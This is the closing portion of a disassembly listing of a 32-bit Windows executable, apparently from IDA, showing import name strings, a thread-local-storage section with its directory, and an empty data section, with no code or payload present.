aFreelibrary	db 'FreeLibrary',0
aKernel32_dll_1	db 'kernel32.dll',0
		align 4
aGetprocaddress	db 'GetProcAddress',0
		align 4
_idata		ends

; Section 5. (virtual address 00009000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000008 (	  8.)
; Offset to raw	data for section: 00009000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 409000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 6. (virtual address 0000A000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 0000A000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40A000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 409008h
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata		ends

; Section 9. (virtual address 0003F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0003E600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 43F000h
		align 2000h
_idata2		ends


		end start